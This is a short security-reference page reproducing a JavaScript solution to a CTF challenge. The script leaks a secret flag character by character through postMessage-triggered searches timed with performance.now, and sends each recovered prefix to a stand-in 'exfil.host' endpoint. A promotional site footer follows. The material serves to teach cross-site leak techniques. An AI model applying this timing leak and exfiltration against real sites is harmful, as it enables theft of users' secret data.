performance.now example

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Example taken from https://ctf.zeyu2001.com/2022/nitectf-2022/js-api

const sleep = (ms) => new Promise((res) => setTimeout(res, ms));

async function check(flag) {
    let w = frame.contentWindow;
    w.postMessage({'op': 'preview', 'payload': '<img name="enable_experimental_features">'}, '*');
    await sleep(1);
    w.postMessage({'op': 'search', 'payload': flag}, '*');
    let t1 = performance.now();
    await sleep(1);
    return (performance.now() - t1) > 200;
}

async function main() {
    let alpha = 'abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}';
    window.frame = document.createElement('iframe');
    frame.width = '100%';
    frame.height = '700px';
    frame.src = 'https://challenge.jsapi.tech/';
    document.body.appendChild(frame);
    await sleep(1000);

    let flag = 'nite{';
    while(1) {
        for(let c of alpha) {
            let result = await Promise.race([
                check(flag + c),
                new Promise((res) => setTimeout(() => { res(true); }, 300))
            ]);
            console.log(flag + c, result);
            if(result) {
                flag += c;
                break;
            }
        }
        new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
    }
}

document.addEventListener('DOMContentLoaded', main);

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

• Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

• Discover The PEASS Family, our collection of exclusive NFTs

• Get the official PEASS & HackTricks swag

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

• Share your hacking tricks by submitting PRs to the hacktricks repo and hacktricks-cloud repo.